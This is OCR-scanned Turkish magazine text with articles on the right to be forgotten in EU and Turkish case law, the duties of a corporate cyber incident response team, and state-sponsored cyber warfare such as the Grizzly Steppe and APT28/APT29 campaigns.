zetiminden kurtulma ve dolayisiyla yasamini 6zgiir bicimde
stirdiirebilme istegi unutulma hakkina olan ihtiyact ortaya
cikarmaktadir. Unutulma hakki; bireyin, dijital hafizada
yer alan fotografi, kimlik bilgisi, adresi ve diger kisisel ice-
riklerinin kendi talebi lizerine bir daha geri getirilemeye-
cek bicimde ortadan kaldirilmasi seklinde
tanimlanmaktadir. Unutulma hakkina yonelik kanun calis-
malarinin ilki, 2010 yilinda Fransa'da, internette unutulma
hakkinin olusturulmasina yonelik yapilmistir. Kanun tekli-
finde, ilgilinin istegi ile veya makul bir siireden sonra e-
mail ve telefon mesajlarinin tamamiyla yok edilmesi
konusunda internet ve telefon firmalarina yiikiimliiliik ge-
tirilmesine iliskin diizenleme giindeme gelmistir.

Akabinde 2012 yilinin baslarinda Avrupa Komisyonun
Adalet ve Vatandasliktan Sorumlu Uyesi Viviane Re-
ding’in aciklamalariyla tekrar giindeme gelmistir. Bu tartis-
malar, AB Komisyonu'nun 2012 tarihli 95/46/EC sayili
Kisisel Verilerin Korunmasi Direktifi ‘nin yeniden gozden
gecirilmesi ve iiye devletlerin i¢c hukuklarinda dogrudan
uygulama bulacak sekilde degistirilmesi yoniindeki oneri-
siyle birlikte tekrardan artmistir. Degisiklik 6nerisi tekno-
lojideki gelismelere uygun bir bicimde 95/46/EC sayil
Direktif ‘in yerine gecmek iizere, kisisel verilerin kullani-
mina iliskin olarak bireylerin mahremiyetlerinin korunma-
sina odaklanmistir. Unutulma hakki, bu calismalarin

baslangi¢c asamasinda, AB Komisyonu tarafindan hazirla-
nan 2012 tarihli ilk taslak metinde yer almistir. Bu taslak
metinde bireye, kisisel verileri cok uzun siiredir toplanis
amaclar1 cercevesinde kullanilmiyorsa ve veri sahibinin de
s0z konusu verilerin saklanmasina rizasi yoksa bu verilerin
silinmesini saglama ve daha fazla yayilmasini engelleme
konusunda bir talep hakki taninmistir. Bu madde, unu-
tulma hakkinin acik ve net bir bicimde ifade edildigi ilk
diizenleme olmasi nedeniyle Onem tasimaktadir. Ancak, bu
degisiklik Onerisi heniiz yururluk kazanmadan, Avrupa
Birligi Adalet Divan1 (ABAD) tarafindan verilen bir karar
ile unutulma hakki ilk kez hukuksal bir temele oturmus ve
bu konudaki ilk ictihat olusmustur.

Babhsi gecen kararda 0zetle; her somut olay 1si§inda, kamu-
nun kisisel veriye erismesinde tistiin menfaati yoksa veya
kisisel verinin islenmesi ifade 6zgiirliigi kapsamina girmi-
yorsa, veri sahibinin kisisel bilgilerin arama motoru liste-
sinden silinmesini talep edebilme hakkinin bulundugu
vurgulanmustir. Kisisel veriler eksiksiz, gecerli, yasal olarak
islenmis ve yayinlanmis olsa dahi veri sahipleri verilerin, il-
gisiz oldugunu, islenme amacini astigini, giincel olmadi-
giny, ve tarihi, istatistiksel veya bilimsel amaclarla
tutulmalar1 zorunlu olmadig1 halde, gereginden fazla sii-
rede sistemde tutuldugunu ileri siirerek silinmelerini talep
edebilecektir.

Anlam biitlinligii saglamasi acisindan belirtmek gerekir ki,
davanin temelini olusturan olay, bir internet kullanicisi ve
ayni zamanda avukat olan Costeja Gonzalez ‘in arama mo-
toru Google'da adin1 sorguladiginda, "La Vanguardia"
isimli gunluk bir gazetenin 19 Ocak ve 9 Mart 1998 tarihli
iki sayfasina link vermesi ve bu link verilen sayfalarda Cos-
teja Gonzalez'in ismine acik olarak yer verilerek sosyal
guvenlik borclar1 nedeniyle hakkinda yapilan haciz isle-
miyle ilgili bilgilerin yer almasi olusturmaktadir. Costeja
Gonzalez, oncelikle La Vanguardia gazetesinin bu sayfa-
lar1 kaldirmasini ya da kendisiyle ilgili kisisel verilerin artik
gorunmeyecek sekilde bir degisiklik yapmasini veya arama
motorlari tarafindan taninan imkanlar1 kullanmak sure-
tiyle kisisel verilerinin korunmasi icin belli araclar1 kullan-
masinin zorunlu tutulmasini talep etmistir. Ikinci olarak,
kendisiyle ilgili haciz islemlerinin yillar 6nce ortadan kalk-
t1g1n1 ve bu islemlere yapilan atiflarin artik tamamen ilgisiz
oldugunu, bu nedenle Google Ispanya ve Google Inc. Sir-
ketlerinin kendisiyle ilgili soz konusu kisisel verileri kaldir-
masi ya da gizlemesi; boylece arama motorlarinda yer
almamasi ve bundan bdyle La Vanguardia'ya yapilan bag-
lantilarin icerisinde goriinmemesi istemiyle 95/46/EC sayili
Direktif uyarinca "ispanyol Veri Koruma Kurumu'na
(IVKK)" sikayette bulunmustur.




IVKK, 30 Temmuz 2010 tarihli karariyla, La Vanguardia
hakkindaki sikdyeti Ispanyol hukukundaki diizenlemelere
dayanarak reddederken, Google ispanya ve Google Inc.
Sirketleri hakkindaki sikayeti kabul etmistir. [IVKK arama
motorlarinin veri isleme faaliyeti yaptiklarindan dolay1 veri
koruma mevzuatina tabi olduklarini, listeledikleri arama
sonuclarindaki kisisel verileri islediklerini, bu itibarla bi-
reylerin talepte bulunmasi halinde ilgili verinin ticiincii ki-
siler tarafindan bilinmemesi icin verinin geri ¢ekilmesi,
belirli veriye erisimin yasaklanmasi ve kisisel verilerin silin-
mesi konusunda sorumlu oldugunu ifade etmistir. Google
Ispanya ve Google Inc sirketleri, bu karara kars1 "[spanya
Ulusal Mahkemesi” nezdinde dava acmustir. Ispanya Yik-
sek Ulusal Mahkemesi bu davalar1 birlestirmis ve konu
hakkinda goriis bildirmesi icin davayt ABAD'a tasimustir.

Costeja Gonzalez'in davasinin konusunu olusturan bilgile-
rin Ozel hayatiyla ilgili oldugunu ve verilere iliskin ilk yayi-
nin 1998'de yapildig1 gercegini géz oniine alarak, s6z
konusu baglantilarin kaldirilmasini/silinmesini talep etme
konusunda bir hakki oldugu sonucuna ulasmistir. Divanin
kararinda, unutulma hakkinin mutlak olmadigi, bireyin
kisisel verilerinin korunmasi hakki, toplumun haber alma
hakki, bireyin toplumdaki yeri, ifade 6zgiirliigii ve mahre-
miyet hakki gibi hususlarin her olay acisindan ayr1 ayr1 de-
gerlendirilmesi gerektigi acik bir bicimde goriilmektedir.
Ayrica Divan, bireyin kisisel verilerini iceren bilgilerin
arama motorunun sonugclar listesinde gosterilmek suretiyle
kamunun bilgiye erismesinde iistiin bir menfaatini kanitla-
yan 6zel nedenlerin bulunmadigi hallerde veri 6znesi kisi-
nin bu sekilde bir link verilmemesini ya da baglantilarin
kaldirilmasini talep edebilecegine karar vermistir. Divan
bu dogrultuda Costeja Gonzalez'in talebinin de yerinde ve
hakli oldugu sonucuna ulasmistir.

ABAD'1in unutulma hakkina iligskin kararindan sonraki 1,5
yillik ddnemde bu hakki kullanmak isteyen Google kullani-
cilarinin, toplam 1 milyon 234 bin URL kaldirma talebinde
bulundugu ve bunlarin yiizde 42'sinin kaldirildigi, yerine
getirilmeyen taleplerin ise hukuki dayanaklarinin yeterli
olmadig1 gerekcesiyle kaldirilmadig gorilmistiir. Basvu-
rular1 kabul eden Google internetten doldurulan formda
kullanicilarin dogdugu iilkeyi, kaldirilmasini istedikleri
linki, talepler nedenlerini ve gecerli bir fotograflarini gon-
dermeleri istemektedir. Ayrica Google formu doldurma-

ABAD, degerlendirmelerinin sonu-
cunda, bireylerin kisisel verilerini iceren

baglantilarin arama sonuclarindan cikaril-
masini arama motorlarindan talep edebi-

lecegine karar vermistir.
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dan Onceki aciklamalar kisminda unutulma hakkina iliskin
olarak arka plani aciklamuis, taleplere iliskin olarak deger-
lendirme yaparken hangi hususlar1 gdz dniinde bulundur-
dugunu belirtmistir. Yukarida bahsedilen diizenlemeler
donem itibariyle heniiz 6neri asamasinda oldugu ve uygu-
lamada 6rnegi bulunmadigi icin s6z konusu karar unu-
tulma hakkinin sinirlarinin belirlenmesi acisindan biiyiik
onem tasimakla birlikte uygulamada da unutulma hakkina
iliskin calismalar giic kazandirmistir.

Avrupa’da da oldugu gibi Tiirkiye’de de unutulma hakki
ilk kez Yiiksek Mahkeme ictihadiyla giindeme gelmistir.
Yargitay incelemesine konu olan davada, davaci 2006 y1-
linda gerceklesen magduru oldugu cinsel saldir1 eylemi ne-
deniyle sikayetci olmus, yapilan yargilama sonucunda yerel
mahkemece verilen karar 2009 yilinda Yargitay tarafindan
onanmistir.

Magdur davaci gerek hazirlik gerekse de yargilama asama-
sinda cinsel saldirinin nasil gerceklestigini acik bir sekilde
anlatmis, bu anlatimlar dogal olarak karar metnine geciril-
mistir. Karar magdur ve sanigin ismi rumuzlanmaksizin
2010 yilinda yayinlanan bir kitapta yer almistir. Davaci bir
ceza hukuku kitabinda isminin rumuzlanmaksizin aynen
kullanilmasi tizerine kisilik haklarinin ihlal edildigi ve bu
nedenle manevi zarara ugradigi iddiasiyla tazminat davasi
acmuis; yerel mahkeme rumuzlanmaksizin kisinin ismine bir
kitapta yer verilmesinin kisilik haklarimi zedeledigini ge-
rekcesiyle manevi tazminat talebinin kismen kabuliine
karar vermistir.

Temyiz iizerine Yargitay 4. Hukuk Dairesi ise davacinin is-
minin rumuzlanmaksizin yayinlandigi kitabin bilimsel nite-
likli bir calisma oldugunu, kamuya acik hale gelen Yargitay
kararinin bilimsel ¢alisma tiriinii olan kitapta oldugu gibi
yer almasinin kisilik haklarina saldir1 teskil etmeyecegin-
den davalilarin sorumlu tutulamayacagin belirterek dava-
nin reddedilmesi gerektigine, bu nedenle yerel
mahkemenin kararinin bozulmasina karar vermistir.

Dosyanin yerel mahkemeye génderilmesi {izerine yeniden
yapilan yargilama sonucunda; yerel mahkeme Onceki ge-
rekcelerine dayanarak kararinda direnmistir. Direnme ne-
deniyle dava Hukuk Genel Kurulu (HGK) 6niine gelmis;
HGK yaptigt inceleme sonucunda ABAD'1n yukarida bah-
settigimiz Google kararina atifta bulunarak davacinin du-
rumunu unutulma hakkr cercevesinde degerlendirmistir.

HGK o0niine gelen uyusmazligin temelinin "unutulma
hakki ve bunun sonucu olan kisisel verilerin ve kisilik hak-
kinin korunmasi ile bilim ve sanat hiirriyetinin birbiri
karsisinda sinirlarinin belirlenmesi" oldugunu belirtmis;
sorunun ¢oziimiiniin ise "bilim ve sanat dzgiirliigii ile bire-
yin temel haklar1 arasinda adil bir dengenin kurulmasiyla"
saglanacagina vurgu yapmuistir.



HGK kararinda unutulma hakkini "iistiin bir kamu yarari
olmadig siirece, dijital hafizada yer alan gecmiste yasani-
lan olumsuz olaylarin bir siire sonra unutulmasini, baskala-
rinin bilmesini istemedigi kisisel verilerin silinmesini ve
yayllmasinin dnlemesini isteme hakki1" olarak
tanimlamistir. HGK unutulma hakkina iliskin olarak tani-
min1 yaparken her iki hakkin (kisisel verilerin korunmasi
hakki ve unutulma hakki), bireyin kisisel verileri iizerinde
serbestce tasarruf edebilmesine, ge¢misin engeline takil-
maksizin gelecege yonelik plan yapabilmesine ve kisisel ve-
rilerin kisi aleyhine kullanilmasinin engellenmesine hizmet
ettigine deginmistir. Davaci, yargilama sirasinda verdigi di-
lekcelerinde de 1srarla tizerinde durdugu lizere, gecmisfe
ozel hayatina iliskin yasadigi kot bir olaymn bilinmemesini,
toplum hafizasindan silinmesini istemektedir.

Bu cercevede, cinsel saldir1 nedeniyle magdur oldugu ola-
yin tizerinden 4 y1il gecmesine karsin adinin acik bir sekilde
yazilarak kitapta yer almasi nedeniyle kisj bir kez daha
magdur edilmis; kisjnin unutulma hakki, kisjsel verilerinin
korunmasi hakki ve 6zel hayatinin gizliligi ihlal edilmistir.
HGK, 6niine gelen olayda ABAD'in unutulma hakkina
iliskin kararinda da degindigi, kisjsel verinin kamu haya-
tinda oynadigi dnemli rol ve halkin ilgili veriye yonelik
yogun ilgisi, Gistiin bir kamu yarari gibi 6zel sebeplerin bu-
lunmadigi gerekeesiyle bilimsel eserde kisjsel verilerin
(kisinin adi) rumuzlanmaksizin kullanilmasini dogru bul-
mamustir. Bu nedenle HGK, 2006 yilinda gerceklesen ola-
yin davacinin detayli anlatimiyla Yargitay kararinda yer
aldigi ve 2010 tarihli kitapta davacinin isminin Kisjsel veri
niteliginde olmasi nedeniyle unutulma hakkini ve ézel ha-

yatin gizliligini ihlal ettigi gerekcesiyle manevi tazminat ta-
lebinin kabuliine oy cokluguyla karar vermistir.

HGK verdigi bu karar ile daha sonra unutulma hakki ve
ozel hayatin gizliligi temelinde ortaya cikabilecek
uyusmazliklar icin esas teskil edebilecek nitelikte bir icti-
hat olusfurmustur. HGK'nin bu karari unutulma hakkina
yeni bir boyut kazandirmasinin yani sira Tiirk hukukunda
unutulma hakkinin acik bir ifadeyle hukuki zemine otur-
dugu ilk metin olmasi nedeniyle énemlidir.

Karar unutulma hakkina iliskin olarak genis aciklamalar
icermesi yoniinden, bu hakla ilgili daha sonra yapilacak ka-
nuni diizenlemeler ve bu konuda ortaya c¢ikacak uygulama
sorunlarinin ¢6ziimi icin 153k tutabilecek niteliktedir.
Ancak Tirkiye’de 2016 yilinda kabul edilerek yasalasan
6698 sayili Kisjsel Verilerin Korunmasi Kanunu'nda dogru-
dan "unutulma hakki" ad1 altinda bir diizenleme bulunma-
maktadir. Fakat yasanin unutulma hakkiyla benzer sonug,
dogurmasi muhtemel hiikiimler olmasi oldukc¢a 6nemlidir.

Her ne kadar unutulma hakkina iliskin ac¢ik bir diizenleme
ve bu yonde bir calisma bulunmasa da kisilerin 6zel haya-
tina, haberlesme ozgurlugune, kisilik haklarina yonelik sal-
dirilara, kisjsel verilerinin hukuka aykir1 kaydedilmesine ve
kullanilmasina engel olmak maksadiyla Ttirk hukukunda
bircok diizenleme yer almaktadir, Bu bakimdan bireylerin
internet ortaminda yer alan ve rahatsiz edici olmasi nede-
niyle kaldirilmasini talep ettigi kisjsel verileri kanunlari-
mizda yer alan farkli diizenlemeler ile giivence altindadir.
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SOME

SOME, Siber Olaylara Miidahale Ekibi, kurum icerisinde meydana gelen siber olayda ilk
aranacak, olaya miidahale edecek ve siireci yonetecek ekiptir.

Nur Yesilyurt
nur@netsparker.com
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OME, Siber Olaylara Miidahale Ekibi, kurum ice-
risinde meydana gelen siber olayda ilk aranacak,
olaya mudahale edecek ve siireci yonetecek
ekiptir.

Yanhs anlasilmalara mahal vermemek adina herhangi bir
siber olay esnasinda bu ekip tim sunuculara veya tim veri
tabanlarina baglanmakla ytkimli ekip degildir. Aksine bu
bir glivenlik felaketi icin acik kapi birakmakla es degerdir.
Bunun yerine veri tabani yonetim ekibi ve sistem yonetimi
ekibi ile koordineli calisip iki ekipten de aldigi bilgileri gi-
venlik potasinda eritip, degerlendirecek ve durumu ¢éziime
kavusturacaktir. lleride bunun daha detayli aciklamalarini
siber olay hikayeleri ve modellemeleri ile anlatacagiz.

Ancak asagida SOME'nin gorevlerini okurken de gdreceginiz
gibi bu gorevler psikolojik saglamlik gerektirmektedir. Zira
gorevi geregi olasi bir ihlalden suclu veya sorumlu yani ba-
sinda gorev yapan is arkadasi olabilir. Bu durumda alinmasi
gereken onlemleri almaktan, ilgili yerlere bildirmekten geri
durmamasi gerekmektedir. Zira durum is arkadasindan zi-
yade tehdit boyutuna da ilerleyebilir. Ancak 6zellikle boyle
durumlarin s6z konusu olmamasi icin SOME icerisinde ince-
lenen olaylara dair bilgilerin disari fiziksel veya dijital boyut-
larda sizmamasi icin maksimum onlem alinmali ve tim
birimin uyacadi kati bir politika gozetilmelidir.

izlemek

SOME isi geregdi bir siber olayi tespit edebilmek icin glivenli-
ginden mesul oldugu kurum icerisinde oncelikle saglam bir
dijital izleme ve loglama agi kurmalidir. Bunun icin en sag-
lam yollardan biri 6ncelikle mimariyi gézden gecirmektir.
Eder simdiye kadar gelen mimaride yanls veya aksak bir
nokta varsa ve dizeltilemez ise bu durum ileride 6nemli bir
guvenlik ihlaline sebep olabilir. Stiregelen mimaride yapila-
bilecek iyilestirmeler yapildiktan sonra kurum aginin uzan-
digi her bir noktaya loglari almak ve sistem iletisimini
saglamak adina gerek ajan kurulumlari gerekse sisteme
dahil servisler kullanilarak erisilmeli ve listelenmelidir. Bu
teknolojinin genel adi glinimulzde SIEM (Security Informa-
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tion and Event Management) olarak adlandiriimaktadir. S6z

konusu SIEM teknolojisi tim kaynaklardan gelen loglarin en
kot zaman senaryosu yani olasi bir saldiri ani hesaplanarak
sistemin tasiyabilecegdi maksimum yike gore optimize edile-
rek konumlandiriimalidir.

S6z konusu teknoloji, bir kurumun izlenmesi gereken tim
ozel ve 6nemli noktalardan alinan bilginin tek bir potada eri-
tilmesi ve sistemde olup bitene resmin dibinden degil biitu-
ninden bakmayi saglayan cok 6nemli bir teknolojidir. En
basitinden hayvanlar alemini ele alacak olursak, kendi bol-
gelerini bilirler, isaretlerler ve her ne oluyorsa hepsinden ha-
berdar olurlar. Tabi en ufak bir eksiklikte de ayni sekilde bir
avciya yem olurlar.

Aslinda siber diinya da bundan pek farkli degil. Saldirganla-
rin size ve kurumunuza karsi orman kanunlariyla hareket et-
tigi bir diinyadasiniz. O halde her seye hakim olmalisiniz.
Cunku kimse guin sonunda aslandan yavas olan ceylan
olmak istemez. Bu nedenle sistem hakimiyetini 6nemli dere-
cede gliclendirecek SIEM gibi teknolojiler ve sisteminizin mi-
marisinin glvenligi siirekli miikemmele yaklastirmak icin
ugrasilan alanlar olmali. Tabii ki burada bu yikiin cogunlugu
yine SOMFE'lerce sirtlanilacaktir.

Olay Yonetimi

Siber olay esnasinda SOME olayi yonetip ilgili birimleri olaya
dahil etmeli ve stipheci bir bakis agisiyla olayi degerlendir-
melidir. En 6nemlisi de bunu c¢ok hizli bir sekilde yapmahdir.
Cunku siber olay dedigimiz kavram bazen 2 saniye arasina
stkismaktadir.

Bu noktada sunu hatirliyorum; polis teskilatinin Ankara'da
binasinin 6niinden gecgerken kocaman puntolarla yazilmis
bir s6z bulunur: “Herkesin polisi kendi vicdanidir”. Bu du-
rumda bu s6zu isin ciddiyetini belirtmek icin soyle degistiri-
yorum: “Her kurumun polisi kendi SOME'sidir".







Bu noktada SOME kavrami konusunda diistindigimde iki
tirlt bakis agisi géziime carpiyor. Birincisi SOME'nin askeri
diizen modunda ve disiplininde ilerlemesi gerektidi, ikincisi
ise polis strekliliginde olmasi gerektigi. Diinya tzerindeki
tim devletlerin askeri ve polis teskilatlarini inceledigimde
SOME'nin bakis agisi yoniinden bu iki olusumun tek potada
erimis hali olmasi gerekiyor. Ornegin; askeri teskilatlari hal-
kin glindelik glivenlik sorunlariyla ugrasirken géremezsiniz.
Ancak glindelik gtivenlik sorunlari polislere devredilmekte-
dir. Kurum icerisinde de kullanicilarin yasadiklari giindelik
problemler loglara ve monitérlere diismektedir. Bunlar saye-
sinde fiziksel veya dijital bir ihlal durumu tespit edilebilmek-
tedir. Yani SOME tek bir taraf olamaz. Her ikisi birden olmak
zorundadir. Her iki bakis acisini tek bir potada eriterek olayi
yonetmelidir.

Adli Analiz

Her kurumun polisi kendi SOME'si olduguna gore olay son-
rasi durumu detaylica degerlendirmek adina sistemler lize-
rindeki adli analizi de SOME birimleri yapmalidir. SOME olay
sonrasi gizliligi koruyarak olayi tim kurgusuyla tekrar deger-
lendirmelidir. Zira adli analiz kendimce Sherlock Holmes
bakis acisiyla bakilmasi gereken bir alandir.

Onlem Almak

Her zaman en giizeli bir felaketi olmadan 6nce engellemek-
tir. Clinku olay olduktan sonra verilmis kaybin geri donusu
yoktur. Bu énlemleri almak icin hem SOME’nin kendisi hem
de disaridan ekiplerce kuruma sizma testleri uygulanmalidir.
Bu testler 6zellikle ¢ok siki tutulup, denetlenmelidir. Ve si-
rekli farkh birilerine yaptirilmalidir. Clinka farkl bakis acilari
her zaman farkli sizma noktalari gérecektir. S6z konusu
sizma testlerinde 6zellikle testin tiirli dnemlidir. Teknolojik
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tabirde “Black Box” olarak gecen kara kutu testleri kuruma
disaridan bakan, yetkisiz bir saldirganin yapabileceklerini
modeller.

Yine teknolojik tabirde “Gray Box” olarak gecen gri kutu test-
leri ise kuruma veya hedef sisteme dair bir miktar bilgisi olan
saldirganlarin; 6rnedin internal tehditlere karsi sistem hak-
kinda bilgiye sahip ancak tam yetkili olmayan kétl niyetli bir
calisanin sisteme verebilecegi zarari ve sizma yollarini mo-
dellemektedir. Teknik tabirle “White Box” yani beyaz kutu
testleri ise artik hedef sisteme ve kuruma dair en nemli bil-
gileri elinde bulunduran; 6rnegin tam yetkili internal hak-
kinda bilgili bir kot niyetli calisanin sisteme verebilecegi
zarari ve sizma yollarini modellemektedir.

Bu noktada aslinda kurumlarin tim agilardan kendisini de-
gerlendirmesi gerekmektedir. Gizlilik cekincesi nedeniyle
sahsi 6nerim kara kutu testi disaridan bir ekibe yaptiriimasi
durumunda gri kutu ve beyaz kutu testlerinin kesinlikle
kurum SOME'sinde yapilmasi ve her test arasinda birim,
birim veya sistemler arasinda degisimlerin degerlendirilmesi
ve arastirilmasidir. Ozellikle kurumlara yapilacak bu testlere
sosyal mihendislik testleri agisindan da bakilmalidir. Ve
farkli yetki diizeylerine hitap eden, glizel kurgulanmis senar-
yolarla sosyal muhendislik testleri yapilmalidir.

Kendisini Giincel Tutmak

SOME'lerin isi geregi hem saldirgan gibi diisiinebilmeli hem
de en son olan tim olaylari takip etmeli. Bu nedenle son
cikan tiim zafiyetleri, tim istismar yontemlerini, meydana
gelen 6nemli siber olaylari takip etmeli ve ekip icerisinde de
duzenli olarak egitim toplantilari, seanslari diizenlenmelidir.
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Siber Istihbarat Kaynaklari;

Ulkeler artik konvensiyonel silahlarla savasmadan
once karsi tilkeleri siber saldirilar ile bertaraf edebi-
liyorlar. Saldiri yapilan uilkelerin enerji, finans ve te-
lekom gibi sistemleri devre disi kalarak hizmet
vermez duruma gelmesi an meselesi!
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Siber Savaslarda En Kritik Bilesen

Siber Istihbarat!

Gliniimiiz teknoloji diinyasinda tilkeler arasindaki rekabet ve miicadeleler teknoloji diinyasin-
dan faydalanarak siber savaslara dogru kaydigi ve kiiresel giiclerin askeri yatirnmlarinin 6nemli
boliimiinii siber savaslara yonelik olarak gerceklestigini goriiyoruz.

Unumiz teknoloji dlinya-
sinda ulkeler arasindaki re-
kabet ve mucadeleler
teknoloji diinyasindan fay-
dalanarak siber savaslara dogru kaydigi
ve kuresel gliclerin askeri yatirimlarinin
onemli bolimini siber savaslara yone-
lik olarak gerceklestigini goriyoruz.

Bu durumu kiresel gliclerin son do6-
nemde yaptiklari askeri siber yatirimla-
rini kaynak gostererek somutlastir-
mistir. Ozellikle kiiresel glicler, savas ih-
timaline karsin askeri guiclerini simdiye
kadar gorilmemis sekilde giiclendir-
meye devam ediyor.

Ozellikle de hayatimizin bir parcasi ha-
line gelen teknolojiyi alt etmek igin
siber savas soylemleri, kiiresel guiclerin
askeri yapilanmalarinin bir bolimina
hackerlardan olusacak sekilde dizayn
edilmesine olanak saglyor. Gegtigimiz
aylarda #Petya ve #Wannacry saldirilari

ile bircok ilkenin saglik, finans ve
enerji gibi dnemli sektorleri kritik du-
ruma gelmis ve biyik zararlara ugradi-
gina sahit olduk.

Kisacasi onlimuzdeki glinlerde kiiresel
siber saldirilar ve kiiresel siber savaslar
goérmeye baslayacagiz. Ustelik #Petya
veya #Wannacry gibi kiiresel saldirilar
siber savaslarin yaninda hatirlanmaya-
cak kadar kuguk kalabilir.

Soguk Savas Oncesi

Putin’in askerlerden olusan yeni bir
siber ordu kurdurdugu, 6zellikle son
birkag yildir gindemden diismedi.
Rusya 6nemli yatirimlarini siber giiven-
lige adayarak, bir “hacker ordusu”
kurma egilimde oldugunu goriyoruz.

iddialara gére, siber suc isleyen Rus va-
tandaslar kendini hapiste bulmamis,
Rus askeri siber glclerine katiimistir.

Rus Siber Saldirilarin Gegmisi

2007 yilinda Estonya’ya karsi siber sal-
dinlar diizenlendi, bu saldirilarin Ruslar
tarafindan diizenlendigi iddia edildi.
Estonya bu siber saldiri sirasinda finans
ve enerji kaynaklarini kullanamaz hale
geldi. Bu saldirganlar, 2008 Giliney
Osetya savasl sirasinda Rusya’nin taraf-
tarlari olmakla birlikte, siber savasa go-
nalla bir sekilde katildigr iddia edildi.
Bazi saldirilarda botnet kullanild.

Gurcistan konvansiyonel saldiridan
once Rusya’ya boyun egmisti. Mart
2014'te, Snake veya “Ouroboros” adli
Rus siber saldirganin, Ukrayna hiiki-
met sistemlerine zarar vermesi kayde-
dildi. Ayrica Rus saldir grubu
Sandworm, Aralik 2015'te Ukrayna
elektrik sebekesine malware (koti
amach yazilim) saldirisi diizenledi. Uk-
rayna'da elektrik kesintileri ortaya ¢ikti.
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Bu saldirganlar, 2008 Gliney Osetya savasl sirasinda Rus-
ya'nin taraftarlari olmakla birlikte, siber savasa gonllu bir
sekilde katildigi iddia edildi. Bazi saldirilarda botnet kulla-
nildi. Gircistan konvansiyonel saldiridan 6nce Rusya'ya
boyun egmisti.

Mart 2014'te, Snake veya “Ouroboros” adli Rus siber saldir-
ganin, Ukrayna hikiimet sistemlerine zarar vermesi kayde-
dildi. Ayrica Rus saldiri grubu Sandworm, Aralik 2015'te
Ukrayna elektrik sebekesine malware (koti amach yazilim)
saldirisi diizenledi. Ukrayna'da elektrik kesintileri ortaya
cikti.

Nisan 2015’te CNN, Rus siber korsanlarinin, Beyaz Saray’in
bazi hassas birimlerine saldiri gerceklestirdigini bil-

dirdi. FBI, Gizli Servis ve diger ABD istihbarat
teskilatlari, bu saldirilari “ABD hiikiimet
sistemlerine karsi baslatilan en kar-
masik saldirilar” olarak siniflan-
dirdi.

2016 yilinda demokrat bas-
kan adayi Hillary Clin-
ton’un e-postalari, DC
Leaks web sitesi tizerin-
den yayimlandi. Ozel
sektordeki bazi analist-
ler ve ABD istihbarat
servisleri tarafindan
gerceklestirilen incele-
mede bu sitenin Rus
kokenli oldugu belir-
tildi.

30 Aralik 2016'da, bir Ver-
mont Hizmet Sirketi olan
Burlington Electric kendi bil-
gisayarlarinda Rus siber saldi-
riyla iliskili Grizzly Steppe diye
adlandirilan bir zararlinin kodlar
tespit edildi.

ABD ulusal guivenligine yonelik en biyuk teh-

dit, ucak gemileri veya tanklardan degil, internet baglan-
tili bir basit bir bilgisayardan geldigi icin, Amerika, su ana
kadar ki en biyiik askeri gliciinii insa etmek icin onlarca yil-
dir trilyon dolarlar harcadi. Rusya'nin ABD'ye yonelik siber
saldirilari, “GRIZZLY STEPPE — Ruslarin Kot Amacli Siber
Faaliyeti” raporuyla halka aciklansa dahi bilinen veya bilin-
meyen bir siber savas hep vardi. Washington su ana kadar
siber saldirilara karsi hep savas icerisindeydi.

Federal hikiimet yalnizca 2014 yilinda 61.000 siber giiven-
lik ihlali yasadigini beyan etmisti.

ABD'ye yonelik siber saldirilar, sadece son dénemlerde
degil, bilgisayar teknolojisinin hayatimiza girdigi anlardan
beri yasanmaktaydi. Kayitlara gére ABD'de, 1985 yilindan
beri 14 milyon siber saldiri gerceklesti. ABD Ulusal istihba-
rat Midurligu siber sugu, 1 numarali ulusal glivenlik teh-
didi olarak ilan ederek, terdrizm, casusluk ve kitle imha silah
suclarinin da 6tesine koymustur.

Grizzly Steppe

ABD demokrasisine yonelik gerceklestirilen bu siber saldiri,
kiiresel olarak genis yanki buldu. Oyle ki, 2015 yazinda bas-
layan bu saldirilar, Amerikan hiikimeti ve politik gruplar
icin calisan 1.000°den fazla kisiye e-posta ile ulagmistir. Bu
bilgiler 1siginda Donalt Trump’in baskanhd, hile karistigi ge-

i

ABD Hukiimeti, ABD'deki siyasi bir
partiye mudahale edilmesine, iki
farkli RSAIH aktériiniin dahil oldu-
gunu dogruladi. Gelismis Kalici
Tehdit 29 (Advanced Persistent
Threat , APT) olarak bilinen ilk
aktor grubu, parti sistemlerine
2015 yazinda girerken, APT28 ola-
rak bilinen ikinci grup 2016 yilinin
baharinda girdi
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rekcesiyle sorgulanmistir. Rapor bu iki grubun nasil calisti-
gini ayrintil bir sekilde anlatiyordu. Her iki grup da geg-
miste diinyadaki hiikiimet kuruluslarini, distince
kuruluslarini, Gniversiteleri ve sirketleri hedef aldi. APT29'un
hedefe yonelik bir oltalama kampanyasi hazirladigi ve bu
kampanyalarla web baglantilarini kdtu yazilimlara (dropper)
yonlendirdigi gorilda.

Kod calistirildiktan sonra, Uzaktan Erisim Araclari'ni (RAT)
sunar ve bir dizi teknik kullanarak algilamayi atlatir.

APT28 ise, hedeflenen kurumlari taklit eden domainleri
(alan adlari) ile bilinir ve hedef kullanicilarin kimlik bilgile-
rini bu alan adlarina girmelerine ikna eder.

APT28 aktorleri hedef odakli e-posta oltalama
kampanyalarinda (spear phishing), kisaltil-
mis URLlere bel baglamaktaydi. APT28
ve APT29 kurbanlarin bilgisayarla-
rina erisim sagladiklarinda, her iki
grup da istihbarat elde etmek
amaciyla bilgilere sizar ve
bunlari analiz eder.

Bu gruplar, elde ettikleri
bu bilgileri daha buyutk
spear phishing kampan-
yalari olusturmak icin

kullanmaktadir.

Bu aktorler, kaynak alt-
yapisini karmasiklagtir-
mak; kuruluglan
hedeflemeye gayesiyle
alan adlarini ve kot
amach yazilimlari gizlemek;
komuta ve kontrol merkez-
leri kurmak; ve hedeflerinden
kimlik ve diger degerli bilgilerini
toplamak icin ihtiya¢ duyduklari
operasyonel altyapiyr kurmuslardir.

RSAIH ile iliskisi olma ihtimali olan aktérler,

Kasim 2016'da ABD secimlerinden birkag¢ glin sonra
dahil olmak tizere, halen spearphishing oltalama saldirilari
kampanyalarina devam etmektedir.”

Devir Artik Siber Savas Devri!

Askeri bir deha olarak kabul edilen Cinli kumandan Sun TZU
M.O. 500 yillarda yazmis oldugu 'Harp Sanati' adli eserinde
savaslarin en kolay istihbarat destegiyle kazanilacagini
ifade etmistir. "Kolaylikla zafere ulagsmak istihbarata bagh-
dir”

Siber istihbarati Giiclii Olan Siber Savasta Galip Olur!

Siber savaslar bildigimiz klasik savaslardan ¢ok farkli olarak
perde arkasinda gergeklestirilir ve tamamen insan ve tekno-
loji odaklidir.

